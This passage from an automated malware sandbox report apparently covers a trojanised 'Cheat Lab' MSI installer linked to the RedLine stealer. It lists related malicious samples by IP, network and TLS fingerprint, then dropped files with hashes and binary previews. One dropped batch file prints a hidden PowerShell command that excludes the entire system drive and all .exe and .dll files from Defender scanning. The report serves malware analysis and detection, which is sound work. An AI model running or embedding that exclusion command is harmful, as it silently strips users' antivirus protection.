	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.133.233
	Uuxcibejso.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	Uuxcibejso.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	VakifBankKrediKartiHesapOzeti.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.130.233
	Uykndrdm.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	Porland_Sipari#U015f_Listesi_03.11.2023.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.133.233
	Uykndrdm.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	zGoujUMwYp.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Ithojli.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	zGoujUMwYp.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	Gqriesvfi.exe	Get hash	malicious	Unknown	Browse	162.159.130.233
	231005-001-ba.pdf.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	Ithojli.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	REVISED_DOCUMENTS.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	Gqriesvfi.exe	Get hash	malicious	Unknown	Browse	162.159.129.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTGLOBALPLUS-ASRU	file.exe	Get hash	malicious	RedLine	Browse	91.103.252.189
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	91.103.252.8
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	91.103.252.8
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	91.103.252.8
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	91.103.252.8
	dAe2EhvrR3.exe	Get hash	malicious	DCRat, RedLine, zgRAT	Browse	91.103.252.23
	installer-unpumped.exe	Get hash	malicious	RedLine	Browse	91.103.252.3
	MidnightInj.exe	Get hash	malicious	RedLine	Browse	91.103.252.3
	otMkkr8yba.exe	Get hash	malicious	DCRat	Browse	91.103.252.23
	modest-menu.exe	Get hash	malicious	RedLine	Browse	91.103.252.48
	setup.exe	Get hash	malicious	RedLine	Browse	91.103.252.48
	file.exe	Get hash	malicious	RedLine	Browse	91.103.252.189
	UTkNFrq5ZG.exe	Get hash	malicious	RedLine	Browse	91.103.252.215
	0A7906AC80F2E3DEC90365B47E62E57D77F4C389C55CE.exe	Get hash	malicious	DCRat	Browse	91.103.252.23
	WXzp6KMJ7i.exe	Get hash	malicious	DCRat, Raccoon Stealer v2, RedLine	Browse	91.103.252.23
	BHIZs1pdBL.exe	Get hash	malicious	Azorult, RHADAMANTHYS, Xmrig, zgRAT	Browse	91.103.252.25
	tc4Ftx0bPk.exe	Get hash	malicious	MicroClip, Stealc, Vidar	Browse	91.103.252.74
	AFA69DD9872C7D923CC12358017DEED1E3B37F121884F.exe	Get hash	malicious	Raccoon Stealer v2	Browse	91.103.252.65
	Documents informations.exe	Get hash	malicious	Vidar	Browse	45.138.74.85
	rrQKgJDi4u.exe	Get hash	malicious	DCRat	Browse	91.103.252.23
TUT-ASUS	QvConnect32.EXE.exe	Get hash	malicious	Agniane Stealer, zgRAT	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.Androm.gen-878555f3bd2bfb9.exe	Get hash	malicious	LimeRAT	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.Androm.gen-878555f3bd2bfb9.exe	Get hash	malicious	LimeRAT	Browse	208.95.112.1
	HEUR-Backdoor.MSIL.LightStone.gen-e0fa9c62364.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	https://applogyx.com//caltitle.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.2
	10.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	https://r20.rs6.net/tn.jsp?f=001NdUjQbShLjPEoJXEPe4uscikF9DeiuI06G1LhWRNRKyrYyqo6TLcAL3c_R4vTPh0pysY7ICud6VKtpI4V3Ww3ApCnLchitmzq64UCE0JU3OfEqTzdIWlaslcKlffQZuAhZZNJ50aAOaEUpJRTRptcw==&c=&ch=&__=kmeyer@osugiving.com	Get hash	malicious	HTMLPhisher	Browse	208.95.112.2
	https://netfl1x.vercel.app/	Get hash	malicious	Unknown	Browse	208.95.112.2
	bQXD.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	New_Order_(2).js	Get hash	malicious	PXRECVOWEIWOEI Stealer, zgRAT	Browse	208.95.112.1
	ify.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	208.95.112.1
	lK3sh4b3ds.exe	Get hash	malicious	Agniane Stealer	Browse	208.95.112.1
	gsges.exe	Get hash	malicious	Blackshades, Quasar	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	3Ggy2th52H.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	3Ggy2th52H.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	TT_copy_pdf.js	Get hash	malicious	FormBook	Browse	162.159.135.233
	ins.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.159.135.233
	SecuriteInfo.com.Trojan.NSIS.Guloader.22775.8808.exe	Get hash	malicious	GuLoader	Browse	162.159.135.233
	RFQ-10004_PTT #U30d7#U30ed#U30b8#U30a7#U30af#U30c8#U00b7pdf.vbs	Get hash	malicious	GuLoader, Remcos	Browse	162.159.135.233
	Aqua2.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Aqua2.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.135.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.135.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.135.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.135.233
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	162.159.135.233
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	162.159.135.233
	SecuriteInfo.com.Trojan.NSIS.Guloader.26526.15163.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.159.135.233
	Attachment-3_RFQ10004#U00b7pdf.vbe	Get hash	malicious	Nanocore, GuLoader	Browse	162.159.135.233
	CO.ADVERTENCIAM1.ja.msi	Get hash	malicious	Unknown	Browse	162.159.135.233
	yl620v88J8.exe	Get hash	malicious	GuLoader	Browse	162.159.135.233
	yVvaKVQhUq.exe	Get hash	malicious	GuLoader	Browse	162.159.135.233
	d83CR44HKh.exe	Get hash	malicious	Remcos, GuLoader	Browse	162.159.135.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\MSIAB91.tmp	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse
	Cheat.Lab.2.7.0.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://telegramos.org/download	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	winrar-611br.msi	Get hash	malicious	Unknown	Browse
	Firefox-x64.msi	Get hash	malicious	Unknown	Browse
	AnyDeskAPP.msi	Get hash	malicious	Unknown	Browse
	6p2LSuB1em.msi	Get hash	malicious	EICAR	Browse
	AnyDesk.msi	Get hash	malicious	Unknown	Browse
	MERC_PG_MDLS.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\66bc0d.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	193279
Entropy (8bit):	6.413806532969242
Encrypted:	false
SSDEEP:	3072:zM6KwXYKcWHBnqA2L6vFW90Y+y3jS6LhrZe6benANHPPDZ1D5GvEOiX:zBKwXYBWHRuEFW9RzLLhrUmdHDZ19MhC
MD5:	5351DE8A958D3FD5D70FAD2676621A63
SHA1:	1C6FCD99023E0BD95F22A5F789344AF67EE66AD8
SHA-256:	0982DDF4AE98754C69587A19FEB3E95453C62E6380BAB3B34533D4F47FA3A9F0
SHA-512:	021CEED612212F15773C10A7EF2AC7DB54463C3F8C6C3CBE89F2CD04A17013139874F337663EB6780B491AC03BC339C528A98AD9C397ECE4F6735B5308012D68
Malicious:	false
Preview:	...@IXOS.@.....@b\|fW.@.....@.....@.....@.....@.....@......&.{E0E46653-343B-4459-B5BD-ED25C554CD5C}..Cheat Lab..Cheat.Lab.2.7.2.msi.@.....@.....@.....@........&.{3C7A1E44-AA05-4B3F-B2A1-48DCB7D1B307}.....@.....@.....@.....@.......@.....@.....@.......@......Cheat Lab......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....AI_RollbackTasks21.Rolling back scheduled task on the local computer..Task Name: [1]L...AI_RollbackTasks2.@.-........MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@................

C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1159168
Entropy (8bit):	6.056000673170944
Encrypted:	false
SSDEEP:	12288:Dg8wp/DwJ6HgGnY9jU7rLk8tQy50+WPBdrU4K9Afu2uznkCVAZ0e3B4oQ30:+Lo6HgiY9crLk82+W5vKMu4qa0lRk
MD5:	9CB9E0D0975E51A90BDED2B3BE8FACA9
SHA1:	BEF96A36BA40446FBE5596D50BBC9E9ADC154D3B
SHA-256:	345911E89D241BC814827AEAB2F59004AF713BD088098634440EFF1B237DAF3D
SHA-512:	CD1EE8813C385213C1EDA31B8C460FF21ED25F228D39DA58A95B1A5CCD5E71E4B7964A2BCC22161730C92C68FBA3FE8EFF2418FEF50B8CEBBBA9CC5C303538C7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[l8...V...V...V..fR...V..fU...V..fS...V..fW...V...W.r.V..wS.8.V..wR...V..wU...V...V...V.{wR.\.V.{wV...V.{wT...V.Rich..V.........PE..d...d.d..........".... ............X..........@....................................tC....`.........................................P... ...p...(............P..................\|....W..............................@V..@...............P............................text...P........................... ..`.rdata..............................@..@.data...8T.......@..................@....pdata.......P......................@..@_RDATA..\...........................@..@.reloc..\|...........................@..B................................................................................................................................................................................................................................................

C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.7202350646624245
Encrypted:	false
SSDEEP:	3:VSJJFIf9IMwEIF2VCceGAFddGeWLCX3AYGeWLERySn/n:s81xB1eGgdEY3AYGWRy0n
MD5:	89DB4CB88ED70579D72B500340691359
SHA1:	5A434F58080EEDFC78B0BA0A49710C6F3EFC5254
SHA-256:	72B2FAA3B9D4FB7CD3E007CF5DFB00D03893B26A6161D6ADE8D003F3D669C57E
SHA-512:	6E47F9F9DB0FCF42489567AD5DA1F1A031FC7423EE2DC79F94CDC3FF249FE18D1E8835D1A26655F4FE5BF58E8525EDBD227B12ED15EFFDDFF51642D57DB1E0BB
Malicious:	false
Preview:	powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"

C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	129872
Entropy (8bit):	6.038065588362103
Encrypted:	false
SSDEEP:	3072:2pA3JKOc1a+6lXmdTstTIezbdVR6KuyZze638dtoXKtmQkxE08yaU7L2SyCla:22bc5ApIsBVRVCtRkxE08yaC7yj
MD5:	5DE081465476323E3DCBE97602183C87
SHA1:	D3BD6A912A0FEF185ED8E02B9C411809B20EC7C0
SHA-256:	9C0ED1349DA4BA4449559FCEEBAC4556ADD7009684367151673A2F52200F3E84
SHA-512:	20CFB8DC88F81BE8356FB3EDA4AB74C0F137FBF4E3838FA545F47B941B1E10A344B8733F711C360964FC40F086EC986D689EB6EFDD5029D354D11F2BB004C4BD
Malicious:	false
Preview:	.LJ..........-.......8...L........K.......-...-...4...>...>...>...>...>...>...>...>...>...-...-...D...........$.......-.......B...3...2...L........?.......-...-...4...>...>...>...>...>...>...-...-...D...........$.......-.......B...3...2...L.............R........,.F.....XGe.UGd.G....G.XG.G....G.XG..G....G.XG.G....G.XG.G....G.XG..G....G.XG.G....G.XG..G....G.XG..G....G.XG..)(...&(.XG..+...XG..+....3......XG.....XG.....XG..::..'&.. ..-G..:H..8HG'3..-G..:H..8.HG.G...I&..J .BG....G.-G..BG....G.8..-G..<..G-G..:H..8 HG-G..:H..8/HG....G/..I3..J..BG...)G.-G..)I.BG....G.8..:8&) -G..I..4J..:K..>K.J:K..>K.JBG... G....'3...G...I:..J&..K .BG....G.-G..:H..8 HG-G..:H..8/HG.G/..I3..J..BG...)G.8&) .G...H&.&HG-G..:H..8 HG'3.....(..-G..:H..8/HG.G/..I3..J..BG...)G.=..8&) '...8..'...-G..I..4J..:K..>K.J:K..>K.J>..JBG... G..G...I..J&..K .BG....G.-G..:H..8/HG-G..:H..8)HG.G)..I...J(.BG...3G.'(..*...8 3/-G..:H..8)HG-G..:H..83HG.G3..I(..J=.BG....G.8/.)'=..-G..:H..83HG-G..:H..8.HG.G...I

C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe

Download File

Process:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1159168
Entropy (8bit):	6.056000673170944
Encrypted:	false
SSDEEP:	12288:Dg8wp/DwJ6HgGnY9jU7rLk8tQy50+WPBdrU4K9Afu2uznkCVAZ0e3B4oQ30:+Lo6HgiY9crLk82+W5vKMu4qa0lRk
MD5:	9CB9E0D0975E51A90BDED2B3BE8FACA9
SHA1:	BEF96A36BA40446FBE5596D50BBC9E9ADC154D3B
SHA-256:	345911E89D241BC814827AEAB2F59004AF713BD088098634440EFF1B237DAF3D
SHA-512:	CD1EE8813C385213C1EDA31B8C460FF21ED25F228D39DA58A95B1A5CCD5E71E4B7964A2BCC22161730C92C68FBA3FE8EFF2418FEF50B8CEBBBA9CC5C303538C7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[l8...V...V...V..fR...V..fU...V..fS...V..fW...V...W.r.V..wS.8.V..wR...V..wU...V...V...V.{wR.\.V.{wV...V.{wT...V.Rich..V.........PE..d...d.d..........".... ............X..........@....................................tC....`.........................................P... ...p...(............P..................\|....W..............................@V..@...............P............................text...P........................... ..`.rdata..............................@..@.data...8T.......@..................@....pdata.......P......................@..@_RDATA..\...........................@..@.reloc..\|...........................@..B................................................................................................................................................................................................................................................

C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua

Download File

Process:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
File Type:	data
Category:	dropped
Size (bytes):	129872
Entropy (8bit):	6.038065588362103
Encrypted:	false
SSDEEP:	3072:2pA3JKOc1a+6lXmdTstTIezbdVR6KuyZze638dtoXKtmQkxE08yaU7L2SyCla:22bc5ApIsBVRVCtRkxE08yaC7yj
MD5:	5DE081465476323E3DCBE97602183C87
SHA1:	D3BD6A912A0FEF185ED8E02B9C411809B20EC7C0
SHA-256:	9C0ED1349DA4BA4449559FCEEBAC4556ADD7009684367151673A2F52200F3E84
SHA-512:	20CFB8DC88F81BE8356FB3EDA4AB74C0F137FBF4E3838FA545F47B941B1E10A344B8733F711C360964FC40F086EC986D689EB6EFDD5029D354D11F2BB004C4BD
Malicious:	true
Preview:	.LJ..........-.......8...L........K.......-...-...4...>...>...>...>...>...>...>...>...>...-...-...D...........$.......-.......B...3...2...L........?.......-...-...4...>...>...>...>...>...>...-...-...D...........$.......-.......B...3...2...L.............R........,.F.....XGe.UGd.G....G.XG.G....G.XG..G....G.XG.G....G.XG.G....G.XG..G....G.XG.G....G.XG..G....G.XG..G....G.XG..)(...&(.XG..+...XG..+....3......XG.....XG.....XG..::..'&.. ..-G..:H..8HG'3..-G..:H..8.HG.G...I&..J .BG....G.-G..BG....G.8..-G..<..G-G..:H..8 HG-G..:H..8/HG....G/..I3..J..BG...)G.-G..)I.BG....G.8..:8&) -G..I..4J..:K..>K.J:K..>K.JBG... G....'3...G...I:..J&..K .BG....G.-G..:H..8 HG-G..:H..8/HG.G/..I3..J..BG...)G.8&) .G...H&.&HG-G..:H..8 HG'3.....(..-G..:H..8/HG.G/..I3..J..BG...)G.=..8&) '...8..'...-G..I..4J..:K..>K.J:K..>K.J>..JBG... G..G...I..J&..K .BG....G.-G..:H..8/HG-G..:H..8)HG.G)..I...J(.BG...3G.'(..*...8 3/-G..:H..8)HG-G..:H..83HG.G3..I(..J=.BG....G.8/.)'=..-G..:H..83HG-G..:H..8.HG.G...I

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	3FD5C0634443FB2EF2796B9636159CB6
SHA1:	366DDE94AEFCFFFAB8E03AD8B448E05D7489EB48
SHA-256:	58307E94C67E2348F5A838DE4FF668983B38B7E9A3B1D61535D3A392814A57D6
SHA-512:	8535E7C0777C6B0876936D84BDE2BDC59963CF0954D4E50D65808E6E806E8B131DF5DB8FA0E030FAE2702143A7C3A70698A2B9A80519C9E2FFC286A71F0B797C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379677338874509
Encrypted:	false
SSDEEP:	48:tWSU4YymI4RIoUeW+gZ9tK8NPZHUxL7u1iMuge//ZeUyus:tLHYvIIfLgZ2KRHWLOugos
MD5:	85AAA19A9B0A06E085BF32A33F55A839
SHA1:	D0803618296D04D63ADA3215CC97A7B32EC91BE8
SHA-256:	AC45C6B577CF08455F66BF9ED464FBEF89AA75F65254CD351931A6EC8F2D098A
SHA-512:	B11F41129E5EB7A21FD02820BA73B4815B3AB1A0DFBC284764F08E094D84F8DFC414318C0ED6DF6E83688E8570F30E305311D341ABC685543D8319C9E4CAB543
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\MSIAB91.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Cheat.Lab.2.7.1.msi, Detection: malicious, Browse Filename: Cheat.Lab.2.7.1.msi, Detection: malicious, Browse Filename: Cheat.Lab.2.7.1.msi, Detection: malicious, Browse Filename: Cheat.Lab.2.7.1.msi, Detection: malicious, Browse Filename: Cheat.Lab.2.7.1.msi, Detection: malicious, Browse Filename: Cheat.Lab.2.7.0.msi, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: AnyDesk.exe, Detection: malicious, Browse Filename: AnyDesk.exe, Detection: malicious, Browse Filename: winrar-611br.msi, Detection: malicious, Browse Filename: Firefox-x64.msi, Detection: malicious, Browse Filename: AnyDeskAPP.msi, Detection: malicious, Browse Filename: 6p2LSuB1em.msi, Detection: malicious, Browse Filename: AnyDesk.msi, Detection: malicious, Browse Filename: MERC_PG_MDLS.msi, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAC3E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAC5E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAC8E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIACBE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
